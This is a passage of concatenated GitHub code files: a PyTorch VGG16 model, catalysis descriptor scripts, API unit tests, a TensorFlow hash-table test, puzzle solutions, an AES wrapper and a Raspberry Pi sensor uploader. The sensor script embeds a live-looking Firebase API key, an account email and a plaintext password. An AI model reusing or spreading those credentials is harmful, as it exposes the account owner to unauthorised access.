padding=1))\n layers.append(nn.ReLU())\n layers.append(nn.Conv2d(in_channels=512, out_channels=512, kernel_size=3, stride=1, padding=1))\n layers.append(nn.ReLU())\n # 第五个池化亦是最后一个池化Pooling,输出512*7*7\n layers.append(nn.MaxPool2d(kernel_size=2, stride=2))\n\n # 将卷积层依次送入nn.Sequential,需要将list展开送入\n # 将每一个模块按照他们的顺序送入到nn.Sequential中,输入要么是orderdict,要么是一系列的模型,遇到上述的list,必须用*号进行转化\n self.features = nn.Sequential(*layers)\n print(layers)\n print(*layers)\n # 自适应池化Adaptive Pooling\n self.avg_pool = nn.AdaptiveAvgPool2d((7, 7))\n # 全连接层实现方式,第一种\n fc = []\n # fc1,一个linear、relu、dropout\n fc.append(nn.Linear(in_features=512 * 7 * 7, out_features=4096))\n fc.append(nn.ReLU())\n fc.append(nn.Dropout())\n # fc2,一个linear、relu、dropout\n fc.append(nn.Linear(in_features=4096,out_features=4096))\n fc.append(nn.ReLU())\n fc.append(nn.Dropout())\n # fc3 一个linear\n fc.append(nn.Linear(in_features=4096,out_features=1000))\n self.classifer = nn.Sequential(*fc)\n\n # 第二种实现方式\n # self.classifier = nn.Sequential(\n # nn.Linear(512*7*7,4096),\n # nn.ReLU(),\n # nn.Dropout(),\n # nn.Linear(4096,4096),\n # nn.ReLU(),\n # nn.Dropout(),\n # nn.Linear(4096,self.nums)\n # )\n def forward(self,x):\n print(x.size())\n print(x.size(0))\n x= self.features(x)\n x = self.avg_pool(x)\n #需要将多维度的值展平为一维,送入linear中,但是需要保持batchsize的维度\n # 例如2*512*7*7 变成2*25088\n # x= torch.flatten(x,1)\n x = x.view(x.size(0),-1)\n print(x)\n print(x.size())\n x = self.classifer(x)\n return x\n\n# 测试数据\nx = torch.rand((2,3,224,224))\nvgg16 = VGG16(1000)\nprint(vgg16)\nout = vgg16(x)\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\nlenet = vgg16.to(device)\n# 网络模型的数据流程及参数信息\nsummary(vgg16,(3,224,224))\n","repo_name":"zyf-xtu/pytorch_models","sub_path":"cnn_models/VGG_16.py","file_name":"VGG_16.py","file_ext":"py","file_size_in_byte":6413,"program_lang":"python","lang":"zh","doc_type":"code","stars":60,"dataset":"github-code","pt":"18"} +{"seq_id":"29934131973","text":"try:\n from setuptools import setup\nexcept ImportError:\n from distutils.core import setup\n\nconfig = {\n 'description': 'A script to plot ELD grades.',\n 'author': 'Greg Aitkenhead',\n 'url': 'https://github.com/HarryLoofah/grade-data',\n 'download_url': 'https://github.com/HarryLoofah/grade-data.git',\n 'author_email': 'none',\n 'version': '1.0',\n 'install_requires': ['pandas,' 'matplotlib', 'datetime'],\n 'license': ['MIT'],\n 'packages': ['grade_data'],\n 'scripts': [],\n 'name': 'GradeData'\n}\n\nsetup(**config)\n","repo_name":"HarryLoofah/grade-data","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14368694453","text":"from HTMACat.Extract_info import *\nfrom HTMACat.configuration import base_info\n\n\ndef Construct_descriptor(\n poscar, feature_surf, feature_ads, feature_site, adspecies, facet=\"100\", label=\"all\"\n):\n descriptor = []\n descriptor_surf = []\n ### the features of catalyst surface : surfce valence electron,surface atomic radius,\n ### surf+subsurf mean valence electron,surf+subsurf mean atomic radius\n # surfatoms,surfatoms_symb=distinguish_atom_binding(poscar, tol=0.03,layer='surf_atom')\n # subsurfatoms,subsurfatoms_symb=distinguish_atom_binding(poscar, tol=0.03,layer='subsurf_atom')\n (\n adatoms,\n adatoms_symb,\n surfatoms,\n surfatoms_symb,\n subsurfatoms,\n subsurfatoms_symb,\n ) = distinguish_atom_binding(poscar, tol=0.05)\n # print(surfatoms_symb)\n ## If NO, The symmetry of surface atoms could be broken\n if get_symmetry_surfatoms(poscar, tol=0.3) == \"NO\":\n print(f\"The symmetry of surface atoms of {poscar} could not be keeped!\")\n # return descriptor\n else:\n feature_value_surf = Construct_descriptor_info(base_info, surfatoms_symb, feature_surf)\n feature_value_subsurf = Construct_descriptor_info(\n base_info, subsurfatoms_symb, feature_surf\n )\n # print(feature_value_surf)\n m0, n0 = np.array(feature_value_surf).shape\n m1, n1 = np.array(feature_value_subsurf).shape\n # print(m0,m1)\n ## Ignore structures without standard or integrated surface configuration\n ## if m0 not equal to m1 menas that the large surface reconstruction occurs and causes the broken of surface.\n if (feature_value_surf != []) and (m0 == m1):\n # print(feature_value_surf,feature_value_subsurf)\n feature_value = np.hstack((feature_value_surf, feature_value_subsurf))\n # print(feature_value)\n descriptor_surf_tmp = np.around(np.mean(feature_value, 0), 2)\n facet_coord = {\"100\": 8, \"111\": 9}\n descriptor_surf = np.hstack((descriptor_surf_tmp, [facet_coord.get(facet)]))\n\n if label == \"surface\":\n return descriptor_surf\n else:\n ### the feature of adspecies and binding sites\n (\n bind_adatoms,\n bind_adatoms_symb,\n adspecie,\n bind_type_symb,\n bind_surfatoms,\n bind_surfatoms_symb,\n ) = get_binding_adatom(poscar)\n # print(bind_adatoms,bind_adatoms_symb,adspecie,bind_type_symb,bind_surfatoms,bind_surfatoms_symb)\n # print(adspecie,bind_type_symb,bind_surfatoms_symb)\n # print(bind_type_symb[0])\n if adspecie == []:\n print(f\"The molecule can not adsorb in the {poscar}!\")\n elif len(adspecie) > 1:\n print(f\"More than 1 adspecie are found in {poscar}!\")\n elif set(adspecie).intersection(set(adspecies)):\n ## construct the descriptor of adsorbate: mean enegativity, mean valence_electron\n # print(adspecie)\n descriptor_ads = []\n # print(adspecie)\n ads = molecule(adspecie[0])\n # print(ads)\n ads_symb = ads.get_chemical_symbols()\n feature_value_ads = Construct_descriptor_info(base_info, ads_symb, feature_ads)\n descriptor_ads = np.around(np.mean(feature_value_ads, 0), 2)\n # print(descriptor_ads)\n\n ## construct the descriptor of site: mean valence electron, mean atomic radius, bind type\n descriptor_site = []\n typ = {None: 0, \"top\": 1, \"bri\": 2, \"fcc\": 3, \"hcp\": 3, \"4-fold\": 4}\n typ2 = {None: 0, \"top\": 0, \"bri\": 0, \"fcc\": 0, \"hcp\": 1, \"4-fold\": 0}\n site_type = np.hstack(\n (typ.get(bind_type_symb[0]), typ2.get(bind_type_symb[0]))\n )\n feature_value_site = Construct_descriptor_info(\n base_info, bind_surfatoms_symb[0], feature_site\n )\n descriptor_site_tmp = np.around(np.mean(feature_value_site, 0), 2)\n descriptor_site = np.append(descriptor_site_tmp, site_type)\n # print(descriptor_site)\n\n descriptor = np.hstack((descriptor_surf, descriptor_ads, descriptor_site))\n # print(descriptor)\n return descriptor\n else:\n print(adspecie)\n print(f\"{poscar} can not be identified!\")\n else:\n print(f\"Surface info of {poscar} can not be obtained \")\n\n\ndef Construct_descriptor_info_E(ele, facet, specie, facet_dop=True):\n \"\"\"Construct descriptor information based on element, crystal plane and doping species class.\n\n Parameters\n ----------\n ele : str\n The chemical symbol of an element.\n facet : str\n crystal face\n specie : str\n The chemical symbol of the dopant.\n facet_dop : bool, optional\n Whether the doping type is included (default True).\n\n Returns\n -------\n str\n The energy value in the descriptor information.\n\n Notes\n -----\n If 'facet_dop' is True, the doping type will be included when building descriptor information.\n \"\"\"\n with open(\"/data3/home/jqyang/general-script/energy_single\", \"r+\") as Efile:\n f1 = Efile.readline().split()\n EN, EO, label = [], [], []\n f2 = Efile.readlines()\n for i, sys in enumerate(f2):\n EN.append(sys.split()[0])\n EO.append(sys.split()[1])\n label.append(sys.split()[2].strip())\n if facet_dop:\n lab = f\"{ele}_{facet}\"\n # print(label[0],specie)\n for j, l in enumerate(label):\n if (lab == l) and (f1[0] == specie):\n return EN[j]\n elif (lab == l) and (f1[1] == specie):\n return EO[j]\n else:\n continue\n else:\n lab = f\"{ele}\"\n for j, ls in enumerate(label):\n l = ls.split(\"_\")[0]\n if (lab == l) and (f1[0] == specie):\n return EN[j]\n elif (lab == l) and (f1[1] == specie):\n return EO[j]\n else:\n continue\n\n\nfrom HTMACat.Extract_info import *\nimport os\nimport numpy as np\nimport operator\n\n\ndef Construct_des_module(adspecies, facet, dop_typ_all):\n \"\"\"Constructs the descriptor module for a given set of adsorbates on a surface with a\n particular facet and doping type.\n\n Parameters\n ----------\n adspecies : list of str\n A list of adsorbate species to consider.\n facet : str\n The surface facet to consider.\n dop_typ_all : list of str\n A list of doping types to consider.\n\n Returns\n -------\n None\n The function writes the descriptor and energy information to an output file.\n \"\"\"\n feature_surf = [\"Valence_electron\", \"Atomic_radius\"]\n # feature_ads=['Enegativity','Valence_electron']\n feature_ads = [\"Valence_electron\", \"Atomic_radius\"]\n feature_site = [\"Valence_electron\", \"Atomic_radius\"]\n\n # adspecies=['N']\n # facet='111'\n # dop_typ_all = ['1','2','3','1L','b1']\n\n file_all = open(\"descriptor-all-2\", \"w+\")\n for typ in dop_typ_all:\n print(\"----------------------------------------\")\n print(\"Construct descriptor {facet} {dop} starts:\")\n print(\"1st step: Get the whole 'Descriptor+Ead'\")\n\n EnerInfo = open(f\"ads_final_{typ}\", \"r+\")\n\n for i, Ener in enumerate(EnerInfo):\n sys = Ener.split(\",\")[0]\n ene = Ener.split(\",\")[-1].strip()\n sys_all = sys.split(\"_\")\n dop_typ = sys_all[-3]\n base = sys_all[0]\n base2 = sys_all[1]\n facet3 = sys_all[2]\n specie = list(set(sys_all).intersection(set(adspecies)))\n if specie:\n if (dop_typ in dop_typ_all) and (facet == facet3):\n # poscar= f'./{sys}/optmk/CONTCAR'\n poscar = f\"./{sys}/CONTCAR\"\n # print(sys,specie[0])\n E1 = Construct_descriptor_info_E(base, facet, specie[0])\n E2 = Construct_descriptor_info_E(base2, facet, specie[0])\n descriptor = Construct_descriptor(\n poscar,\n feature_surf,\n feature_ads,\n feature_site,\n adspecies,\n facet=facet,\n label=\"surface\",\n )\n # print(descriptor)\n if dop_typ == \"1L\":\n dop_typ = 9\n if descriptor is None:\n tmp = np.hstack(([sys], [\"None\"], [ene], [base]))\n for d in tmp:\n if d == tmp[-1]:\n file_all.write(\"%s\\n\" % d)\n else:\n file_all.write(\"%s\\t\" % d)\n\n else:\n tmp = np.hstack(([sys], [E1], [E2], [dop_typ], descriptor, [ene], [base]))\n for d in tmp:\n if d == tmp[-1]:\n file_all.write(\"%s\\n\" % d)\n else:\n file_all.write(\"%s\\t\" % d)\n # file_all.writelines('%s\\n' %tmp)\n EnerInfo.close()\n file_all.close()\n\n\ndef Construct_des_module_2(adspecies, facet, dop_typ_all):\n \"\"\"Construct descriptor module for a given adsorbate species, facet, and dopant type(s).\n\n Parameters\n ----------\n adspecies : str\n The adsorbate species to construct the descriptor for.\n facet : str\n The facet to construct the descriptor for.\n dop_typ_all : list\n A list of dopant types to consider.\n\n Returns\n ----------\n None\n This function does not return anything. It writes the constructed descriptors to a file.\n\n Notes\n -----\n This function reads energy information from a file named 'all' and uses the function Construct_descriptor_info_E to\n obtain information on the energy of a given adsorbate on a given facet and dopant type. The function Construct_descriptor\n is then used to construct a descriptor for a given system, and the descriptor is written to a file named\n 'descriptor-{facet}-{adspecies[0]}'.\n \"\"\"\n feature_surf = [\"Valence_electron\", \"Atomic_radius\"]\n feature_ads = [\"Valence_electron\", \"Atomic_radius\"]\n feature_site = [\"Valence_electron\", \"Atomic_radius\"]\n\n file_all = open(f\"descriptor-{facet}-{adspecies[0]}\", \"w+\")\n # for typ in dop_typ_all:\n\n print(\"----------------------------------------\")\n print(\"Construct descriptor {facet} {dop} starts:\")\n print(\"1st step: Get the whole 'Descriptor'\")\n\n EnerInfo = open(f\"all\", \"r+\")\n for i, Ener in enumerate(EnerInfo):\n sys = Ener.split(\".\")[0]\n sys_all = sys.split(\"_\")\n dop_typ = sys_all[-2]\n\n base = sys_all[0]\n base2 = sys_all[1]\n facet3 = sys_all[2]\n\n if (dop_typ in dop_typ_all) and (facet == facet3):\n # poscar= f'./{sys}/optmk/CONTCAR'\n poscar = f\"./{sys}.vasp\"\n print(sys)\n E1 = Construct_descriptor_info_E(base, facet, adspecies[0], facet_dop=True)\n E2 = Construct_descriptor_info_E(base2, facet, adspecies[0], facet_dop=False)\n descriptor = Construct_descriptor(\n poscar,\n feature_surf,\n feature_ads,\n feature_site,\n adspecies,\n facet=facet,\n label=\"surface\",\n )\n\n ### construct descriptor ##\n if dop_typ == \"1L\":\n dop_typ = 9\n if descriptor is None:\n tmp = np.hstack(([sys], [\"None\"], [base]))\n for d in tmp:\n if d == tmp[-1]:\n file_all.write(\"%s\\n\" % d)\n else:\n file_all.write(\"%s\\t\" % d)\n\n else:\n tmp = np.hstack(([sys], [E1], [E2], [dop_typ], descriptor, [base]))\n for d in tmp:\n if d == tmp[-1]:\n file_all.write(\"%s\\n\" % d)\n else:\n file_all.write(\"%s\\t\" % d)\n # file_all.writelines('%s\\n' %tmp)\n EnerInfo.close()\n file_all.close()\n\n\nif __name__ == \"__main__\":\n # E=Construct_descriptor_info_E('Co','0001','N',facet_dop=False)\n adspecies = [\"N\", \"O\"]\n # facet='100'\n # dop_typ_all=['1','2','4','1L']\n for specie in adspecies:\n # facet='111'\n # dop_typ_all=['1','2','3','1L']\n facet = \"100\"\n dop_typ_all = [\"1\", \"2\", \"4\", \"1L\"]\n\n Construct_des_module_2([specie], facet, dop_typ_all)\n","repo_name":"stanfordbshan/HTMACat-kit","sub_path":"HTMACat/descriptor/Construct_descriptor_surface_single.py","file_name":"Construct_descriptor_surface_single.py","file_ext":"py","file_size_in_byte":13267,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"18"} +{"seq_id":"21770740718","text":"\"\"\"\nCollection of beams\n===================\n\nThis assumes that the signals in incoherently integrated between beams,\ni.e. gain in linearly additive.\n\"\"\"\nimport pyant\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nbeams = [\n pyant.models.FiniteCylindricalParabola(\n azimuth=0,\n elevation=el,\n frequency=224.0e6,\n I0=10**4.81,\n width=30.0,\n height=40.0,\n degrees=True,\n )\n for el in [90.0, 80.0, 70.0, 60.0]\n]\n\nk = np.array([0, 0, 1])\n\ngains = [b.gain(k) for b in beams]\nprint(f\"Individual gains {np.log10(gains)*10} dB\")\n\ngain_sum = np.sum(gains)\nprint(f\"Summed gains {np.log10(gain_sum)*10} dB\")\n\nprint(f\"Gain of beam 2 {beams[1].gain(k)}\")\n\nfig, axes = plt.subplots(2, 2, figsize=(10, 6), dpi=80)\nfor beam, ax in zip(beams, axes.flatten()):\n pyant.plotting.gain_heatmap(beam, min_elevation=60, ax=ax)\n\n\nsummed_beam = pyant.SummedBeams(beams)\n\nfig, ax = plt.subplots(figsize=(10, 6), dpi=80)\npyant.plotting.gain_heatmap(summed_beam, min_elevation=0, ax=ax)\n\nplt.show()\n","repo_name":"danielk333/pyant","sub_path":"examples/multi_beams.py","file_name":"multi_beams.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"6233505067","text":"import json\n\nimport requests_mock\n\nfrom apps.api import MetaApi\n\nfrom tests.test_base import BaseTestCase\n\n\nclass TestIeodMetaAPI(BaseTestCase):\n def test_result_tables(self):\n data = []\n for _ in range(4):\n fdata = {\n \"bk_biz_id\": self.cn_faker.random_number(digits=6),\n \"count_freq_unit\": self.en_faker.word(),\n \"result_table_name_alias\": self.cn_faker.word(),\n \"project_id\": self.cn_faker.random_digit(),\n \"count_freq\": self.cn_faker.random_digit(),\n \"updated_by\": None,\n \"platform\": self.en_faker.word(),\n \"created_at\": \"{} {}\".format(self.cn_faker.past_date(), self.cn_faker.time()),\n \"updated_at\": \"{} {}\".format(self.cn_faker.past_date(), self.cn_faker.time()),\n \"created_by\": self.en_faker.user_name(),\n \"result_table_id\": \"{}_{}\".format(self.cn_faker.random_number(digits=6), self.en_faker.word()),\n \"result_table_type\": self.cn_faker.random_digit(),\n \"result_table_name\": self.en_faker.word(),\n \"project_name\": self.cn_faker.word(),\n \"generate_type\": self.en_faker.word(),\n \"data_category\": None,\n \"is_managed\": 1,\n \"processing_type\": \"clean\",\n \"sensitivity\": \"private\",\n \"description\": self.en_faker.sentence(),\n \"tags\": {\"manage\": {\"geog_area\": [{\"code\": \"inland\", \"alias\": self.cn_faker.country()}]}},\n }\n data.append(fdata)\n # 生成假数据\n ftext = json.dumps(\n {\n \"result\": \"true\",\n \"data\": data,\n \"code\": self.cn_faker.random_number(digits=6),\n \"message\": \"ok\",\n \"errors\": \"null\",\n }\n )\n\n with requests_mock.Mocker() as m:\n m.get(\"/dev/v3/meta/result_tables/\", text=ftext)\n meta_result_tables = MetaApi.result_tables.list()\n self.assertEqual(meta_result_tables, data)\n\n def test_projects(self):\n data = []\n for _ in range(4):\n fdata = {\n \"project_name\": self.cn_faker.word(),\n \"description\": self.en_faker.sentence(),\n \"created_at\": \"{} {}\".format(self.cn_faker.past_date(), self.cn_faker.time()),\n \"updated_at\": \"{} {}\".format(self.cn_faker.past_date(), self.cn_faker.time()),\n \"created_by\": self.en_faker.name(),\n \"deleted_by\": \"null\",\n \"bk_app_code\": self.en_faker.word(),\n \"project_id\": 3,\n \"active\": \"true\",\n \"deleted_at\": \"null\",\n \"updated_by\": self.en_faker.user_name(),\n \"tags\": {\"manage\": {\"geog_area\": [{\"code\": \"inland\", \"alias\": \"中国内地\"}]}},\n }\n data.append(fdata)\n # 生成假数据\n ftext = json.dumps(\n {\n \"result\": \"true\",\n \"data\": data,\n \"code\": self.cn_faker.random_number(digits=6),\n \"message\": \"ok\",\n \"errors\": \"null\",\n }\n )\n\n with requests_mock.Mocker() as m:\n m.get(\"/dev/v3/meta/projects/\", text=ftext)\n meta_projects = MetaApi.projects.list()\n self.assertEqual(meta_projects, data)\n\n def test_biz_list(self):\n data = []\n for _ in range(4):\n fdata = {\n \"bk_biz_id\": self.en_faker.random_number(digits=6),\n \"bk_biz_name\": self.cn_faker.word(),\n \"maintainers\": self.en_faker.user_name(),\n \"description\": \"null\",\n }\n data.append(fdata)\n # 生成假数据\n ftext = json.dumps(\n {\n \"result\": \"true\",\n \"data\": data,\n \"code\": self.cn_faker.random_number(digits=7),\n \"message\": \"ok\",\n \"errors\": \"null\",\n }\n )\n\n with requests_mock.Mocker() as m:\n m.get(\"/dev/v3/meta/bizs/\", text=ftext)\n meta_biz_list = MetaApi.biz_list.list()\n self.assertEqual(meta_biz_list, data)\n\n def test_tdw_tables(self):\n data = []\n for _ in range(2):\n fdata = {\n \"updated_at\": \"{}T{}+00:00\".format(self.cn_faker.past_date(), self.cn_faker.time()),\n \"original_tbl_id\": \"null\",\n \"cluster_id\": self.en_faker.word(),\n \"pri_part_format\": \"null\",\n \"sub_part_format\": \"null\",\n \"sub_part_key\": \"null\",\n \"sub_part_type\": \"null\",\n \"table_id\": self.en_faker.word(),\n \"created_by\": \"null\",\n \"count_freq_unit\": \"H\",\n \"synced_at\": \"{}T{}+00:00\".format(self.cn_faker.past_date(), self.cn_faker.time()),\n \"pri_part_key\": \"null\",\n \"table_comment\": self.en_faker.word(),\n \"result_table_id\": \"{}_{}\".format(self.cn_faker.random_number(digits=6), self.cn_faker.time()),\n \"count_freq\": self.en_faker.random_digit(),\n \"updated_by\": \"null\",\n \"data_type\": \"null\",\n \"table_type\": \"null\",\n \"db_name\": self.en_faker.word(),\n \"associated_lz_id\": '{\"import\": \"20190517170506348\"}',\n \"bk_biz_id\": self.cn_faker.random_number(digits=6),\n \"created_at\": \"{}T{}+00:00\".format(self.cn_faker.past_date(), self.cn_faker.time()),\n \"table_name\": self.en_faker.word(),\n \"synced_by\": self.en_faker.name(),\n \"usability\": \"OK\",\n \"pri_part_type\": \"null\",\n }\n data.append(fdata)\n\n # 生成假数据\n ftext = json.dumps(\n {\n \"result\": \"true\",\n \"data\": data,\n \"code\": self.cn_faker.random_number(digits=7),\n \"message\": \"ok\",\n \"errors\": \"null\",\n }\n )\n\n with requests_mock.Mocker() as m:\n m.get(\"/dev/v3/meta/tdw/tables/\", text=ftext)\n meta_tdw_tables = MetaApi.tdw_tables()\n self.assertEqual(meta_tdw_tables, data)\n","repo_name":"Tencent/bk-base","sub_path":"src/dataweb/app/tests/test_meta_api.py","file_name":"test_meta_api.py","file_ext":"py","file_size_in_byte":6360,"program_lang":"python","lang":"en","doc_type":"code","stars":85,"dataset":"github-code","pt":"18"} +{"seq_id":"3987702074","text":"import os.path\nimport tempfile\n\nfrom absl.testing import parameterized\nimport tensorflow as tf\n\nfrom tensorflow.examples.custom_ops_doc.simple_hash_table import simple_hash_table\nfrom tensorflow.python.eager import def_function\n# This pylint disable is only needed for internal google users\nfrom tensorflow.python.framework import test_util # pylint: disable=g-direct-tensorflow-import\n\n\nclass SimpleHashTableTest(tf.test.TestCase, parameterized.TestCase):\n\n # Helper function using \"create, find, insert, find, remove, find\n def _use_table(self, key_dtype, value_dtype):\n hash_table = simple_hash_table.SimpleHashTable(key_dtype, value_dtype, 111)\n result1 = hash_table.find(1, -999)\n hash_table.insert(1, 100)\n result2 = hash_table.find(1, -999)\n hash_table.remove(1)\n result3 = hash_table.find(1, -999)\n results = tf.stack((result1, result2, result3))\n return results # expect [-999, 100, -999]\n\n # Test of \"create, find, insert, find\" in eager mode.\n @parameterized.named_parameters(('int32_float', tf.int32, float),\n ('int64_int32', tf.int64, tf.int32))\n def test_find_insert_find_eager(self, key_dtype, value_dtype):\n results = self._use_table(key_dtype, value_dtype)\n self.assertAllClose(results, [-999, 100, -999])\n\n # Test of \"create, find, insert, find\" in a tf.function. Note that the\n # creation and use of the ref-counted resource occurs inside a single\n # self.evaluate.\n @parameterized.named_parameters(('int32_float', tf.int32, float),\n ('int64_int32', tf.int64, tf.int32))\n def test_find_insert_find_tf_function(self, key_dtype, value_dtype):\n results = def_function.function(\n lambda: self._use_table(key_dtype, value_dtype))\n self.assertAllClose(self.evaluate(results), [-999.0, 100.0, -999.0])\n\n # strings for key and value\n def test_find_insert_find_strings_eager(self):\n default = 'Default'\n foo = 'Foo'\n bar = 'Bar'\n hash_table = simple_hash_table.SimpleHashTable(tf.string, tf.string,\n default)\n result1 = hash_table.find(foo, default)\n self.assertEqual(result1, default)\n hash_table.insert(foo, bar)\n result2 = hash_table.find(foo, default)\n self.assertEqual(result2, bar)\n\n def test_export(self):\n table = simple_hash_table.SimpleHashTable(\n tf.int64, tf.int64, default_value=-1)\n table.insert(1, 100)\n table.insert(2, 200)\n table.insert(3, 300)\n keys, values = self.evaluate(table.export())\n self.assertAllEqual(sorted(keys), [1, 2, 3])\n self.assertAllEqual(sorted(values), [100, 200, 300])\n\n def test_import(self):\n table = simple_hash_table.SimpleHashTable(\n tf.int64, tf.int64, default_value=-1)\n keys = tf.constant([1, 2, 3], dtype=tf.int64)\n values = tf.constant([100, 200, 300], dtype=tf.int64)\n table.do_import(keys, values)\n self.assertEqual(table.find(1), 100)\n self.assertEqual(table.find(2), 200)\n self.assertEqual(table.find(3), 300)\n self.assertEqual(table.find(9), -1)\n\n @test_util.run_v2_only\n def testSavedModelSaveRestore(self):\n save_dir = os.path.join(self.get_temp_dir(), 'save_restore')\n save_path = os.path.join(tempfile.mkdtemp(prefix=save_dir), 'hash')\n\n # TODO(b/203097231) is there an alternative that is not __internal__?\n root = tf.__internal__.tracking.AutoTrackable()\n\n default_value = -1\n root.table = simple_hash_table.SimpleHashTable(\n tf.int64, tf.int64, default_value=default_value)\n\n @def_function.function(input_signature=[tf.TensorSpec((), tf.int64)])\n def lookup(key):\n return root.table.find(key)\n\n root.lookup = lookup\n\n root.table.insert(1, 100)\n root.table.insert(2, 200)\n root.table.insert(3, 300)\n self.assertEqual(root.lookup(2), 200)\n self.assertAllEqual(3, len(self.evaluate(root.table.export()[0])))\n tf.saved_model.save(root, save_path)\n\n del root\n loaded = tf.saved_model.load(save_path)\n self.assertEqual(loaded.lookup(2), 200)\n self.assertEqual(loaded.lookup(10), -1)\n\n\nif __name__ == '__main__':\n tf.test.main()\n","repo_name":"tensorflow/tensorflow","sub_path":"tensorflow/examples/custom_ops_doc/simple_hash_table/simple_hash_table_test.py","file_name":"simple_hash_table_test.py","file_ext":"py","file_size_in_byte":4126,"program_lang":"python","lang":"en","doc_type":"code","stars":178918,"dataset":"github-code","pt":"18"} +{"seq_id":"71886030120","text":"import collections\n\ndef permute_a_palindrome(input):\n counter = dict(collections.Counter(input))\n \n if len(input) == 3 and input[0] == input[1] == input[2]:\n return True\n elif len(input) == 2 and input[0] == input[1]:\n return True\n \n for i in list(counter.keys()):\n if counter[i] == 1:\n del counter[i]\n break\n \n print(counter)\n for i in counter.values():\n if i % 2 == 0:\n continue\n else:\n return False\n return True\n \nprint(permute_a_palindrome(\"abcdefghba\"))","repo_name":"SeansC12/codewars","sub_path":"permute_a_palindrome.py","file_name":"permute_a_palindrome.py","file_ext":"py","file_size_in_byte":570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"12581482661","text":"# @author: Gautam Patel\n# Problem Description URL: https://www.hackerrank.com/HourRank-31/hanging-posters/problem\n#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n#\n# Complete the 'solve' function below.\n#\n# The function is expected to return an INTEGER.\n# The function accepts following parameters:\n# 1. INTEGER h\n# 2. INTEGER_ARRAY wallPoints\n# 3. INTEGER_ARRAY lengths\n#\n\ndef solve(h, wallPoints, lengths):\n # Write your code here\n max_l = 0\n for w, l in zip(wallPoints, lengths):\n wh = w - 0.25 * l\n if wh > max_l:\n max_l = wh\n if max_l > h:\n return math.ceil(max_l - h)\n else:\n return 0\n \n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n first_multiple_input = input().rstrip().split()\n\n n = int(first_multiple_input[0])\n\n h = int(first_multiple_input[1])\n\n wallPoints = list(map(int, input().rstrip().split()))\n\n lengths = list(map(int, input().rstrip().split()))\n\n answer = solve(h, wallPoints, lengths)\n\n fptr.write(str(answer) + '\\n')\n\n fptr.close()\n","repo_name":"gautambp/HackerRank","sub_path":"HourRank-31/hanging-posters.py","file_name":"hanging-posters.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"34200832429","text":"import sys\nfrom collections import deque, Counter, defaultdict\nfrom itertools import product, accumulate\nsys.setrecursionlimit(5 * 10 ** 5)\n# from pypyjit import set_param\n# set_param('max_unroll_recursion=-1')\ninput = lambda: sys.stdin.readline().rstrip()\nii = lambda: int(input())\nmi = lambda: map(int, input().split())\nli = lambda: list(mi())\ninf = 2 ** 63 - 1\n\n\nYES = \"Yes\"\nNO = \"No\"\n\ndef solve(N: int, S: str, T: str):\n ans = YES\n for s,t in zip(S,T):\n if s == t or ((s in [\"1\", \"l\"]) and (t in [\"1\", \"l\"])) or ((s in [\"0\", \"o\"]) and (t in [\"0\", \"o\"])): \n continue\n else:\n ans = NO\n break\n print(ans)\n\ndef main():\n N = ii() # type: int\n S = input() # type: str\n T = input() # type: str\n solve(N, S, T)\n return\n\nmain()\n","repo_name":"masahiro-999/atcoder-workspace","sub_path":"abc303/A/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"7603137319","text":"#!/usr/bin/python3\n\n\nimport sys\nimport Adafruit_DHT\nfrom firebase import Firebase\nfrom datetime import datetime\n\nsensor = Adafruit_DHT.AM2302\npin = 2\n\nhumidity, temperature = Adafruit_DHT.read_retry(sensor, pin)\n\n\n# Update data in Firebase\nconfig = {\n \"apiKey\": \"AIzaSyAnU0SI-NcBOYwuf8TQBpMcdUgtd8zrpA4\",\n \"authDomain\": \"tbc\",\n \"databaseURL\": \"https://deep-scoring.firebaseio.com\",\n \"storageBucket\": \"tbc.appspot.com\"\n}\n\nfirebase = Firebase(config)\nauth = firebase.auth()\nuser = auth.sign_in_with_email_and_password(\"pi@deepscoring.com\", \"Banbury44;Password\")\ntoken = user['idToken']\n\ndb = firebase.database()\ndata = {\"temp\": round(temperature, 1), \n \"rh\":round(humidity, 1), \n \"time\": datetime.today().isoformat()}\ndb.child(\"sensors\").child(\"latest\").update(data, token)\ndb.child(\"sensors\").child(\"data\").push(data, token)\n\n\n","repo_name":"tomi44g/website","sub_path":"pi/push_sensor_data.py","file_name":"push_sensor_data.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"261296283","text":"from Crypto.Random import get_random_bytes\nfrom Crypto.Cipher import AES\n\n\nclass Aes:\n def __init__(self, key=get_random_bytes(16)):\n # self.message = message.encode()\n self.key = key\n self.msg_encrypted = ''\n self.nonce = ''\n\n def encryption(self, message):\n encrypted = AES.new(self.key, AES.MODE_GCM)\n self.msg_encrypted = encrypted.encrypt(message)\n self.nonce = encrypted.nonce\n return [self.msg_encrypted, self.nonce, self.key]\n\n def decryption(self, msg_encrypted, nonce, key):\n encrypted = AES.new(key, AES.MODE_GCM, nonce)\n msg_decrypted = encrypted.decrypt(msg_encrypted)\n return msg_decrypted.decode()\n\n\nif __name__ == '__main__':\n Aes()\n# print(ob.encryption(b'Salaam Afghanistan'))\n# print(ob.decryption())\n","repo_name":"MohWasil/Encrypted_client_server_chat-group","sub_path":"AES.py","file_name":"AES.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"32374739461","text":"\n\n\nimport cv2\nimage = cv2.imread('1.jpg',-1)\nheight = image.shape[0]*2\nwidth = image.shape[1]*3\nhalf = 